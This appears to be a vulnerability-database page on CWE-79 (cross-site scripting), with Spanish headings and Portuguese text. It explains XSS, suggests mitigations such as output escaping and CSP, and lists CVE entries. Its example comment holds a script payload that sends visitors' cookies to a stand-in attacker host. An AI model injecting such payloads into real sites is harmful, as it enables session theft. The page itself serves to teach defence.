Fallos del tipo CWE-79

28.942 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2017-20175LOWDaSchTour matomo-mediawiki-extension Username Piwik.hooks.php cross site scriptingEPSS 0.6%CVE-2022-45436MEDIUMStored cross-site scripting vulnerability in network maps editor featureEPSS 0.6%CVE-2021-24423—UpdraftPlus < 1.16.59 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2024-4516LOWCampcodes Complete Web-Based School Management System timetable.php cross site scriptingEPSS 0.6%CVE-2022-34297MEDIUMYii Yii2 Gii through 2.2.4 allows stored XSS by injecting a payload into any field.EPSS 0.6%CVE-2018-3763—In Nextcloud Calendar before 1.5.8 and 1.6.1, a missing sanitization of search results for an autocomplete field could lead to a stored XSS EPSS 0.6%CVE-2022-2567—Form Builder CP < 1.2.32 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2026-44482CRITICALsoundcloud-rpc: Remote Code Execution via XSS in Track TitleEPSS 0.6%CVE-2021-1127MEDIUMCisco Enterprise NFV Infrastructure Software Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2024-51055MEDIUMAn issue Hoosk v1.7.1 allows a remote attacker to execute arbitrary code via a crafted script to the config.php component.EPSS 0.6%CVE-2023-23630HIGHCross-site (XSS) vulnerability with Express API in EtaEPSS 0.6%CVE-2022-38439MEDIUMAEM Reflected XSS Arbitrary code executionEPSS 0.6%CVE-2025-4460MEDIUMTOTOLINK N150RT URL Filtering Page cross site scriptingEPSS 0.6%CVE-2023-47795CRITICALStored cross-site scripting (XSS) vulnerability in the Document and Media widget in Liferay Portal 7.4.3.18 through 7.4.3.101, and Liferay DEPSS 0.6%CVE-2021-24448—Profile Builder < 3.4.8 - Authenticated Stored XSSEPSS 0.6%CVE-2021-24479—DrawBlog <= 0.90 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 0.6%CVE-2023-4635MEDIUMEventON <= 2.2.2 - Reflected Cross-Site ScriptingEPSS 0.6%CVE-2023-27925MEDIUMCross-site scripting vulnerability in Post function of VK Blocks 1.53.0.1 and earlier and VK Blocks Pro 1.53.0.1 and earlier allows a remoteEPSS 0.6%CVE-2023-27926MEDIUMCross-site scripting vulnerability in Profile setting function of VK All in One Expansion Unit 9.88.1.0 and earlier allows a remote authentiEPSS 0.6%CVE-2022-0372HIGHCross-site Scripting (XSS) - Stored in crater-invoice/craterEPSS 0.6%